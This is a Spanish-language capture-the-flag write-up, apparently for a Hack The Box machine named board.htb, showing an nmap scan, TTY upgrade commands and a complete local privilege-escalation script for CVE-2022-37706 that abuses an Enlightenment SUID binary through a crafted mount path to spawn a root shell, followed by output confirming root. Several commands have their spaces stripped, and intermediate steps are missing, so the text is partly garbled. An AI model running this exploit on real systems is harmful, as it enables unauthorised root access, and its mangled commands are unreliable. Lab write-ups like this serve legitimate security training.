Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-10 10:08 EDT
Nmap scan report for 10.10.11.11
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.32 seconds
Si vemos en el pie de pagina un dominio que utiliza la web, por lo que haremos lo siguiente...
nano/etc/hosts#Contendio de nano<IP> board.htb
Ahora si ponemos ese dominio en la pagina, nos cargara como la de antes, por lo que probaremos a buscar subdominios de la siguiente manera ya que en la pagina no hay nada en especial...
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xterm# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Nos lo descargamos y nos lo pasamos a la maquina victima...
nanoexploit.sh
exploit.sh
#!/bin/bashecho"CVE-2022-37706"echo"[*] Trying to find the vulnerable SUID file..."echo"[*] This may take few seconds..."file=$(find/-nameenlightenment_sys-perm-40002>/dev/null|head-1)if [[ -z ${file} ]]thenecho"[-] Couldn't find the vulnerable SUID file..."echo"[*] Enlightenment should be installed on your system."exit1fiecho"[+] Vulnerable SUID binary found!"echo"[+] Trying to pop a root shell!"mkdir-p/tmp/netmkdir-p"/dev/../tmp/;/tmp/exploit"echo"/bin/sh">/tmp/exploitchmoda+x/tmp/exploitecho"[+] Enjoy the root shell :)"${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id-u),"/dev/../tmp/;/tmp/exploit"/tmp///net
chmod+xexploit.sh
bashexploit.sh
Info:
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root
#
Y con esto ya seriamos root, por lo que leeremos la flag...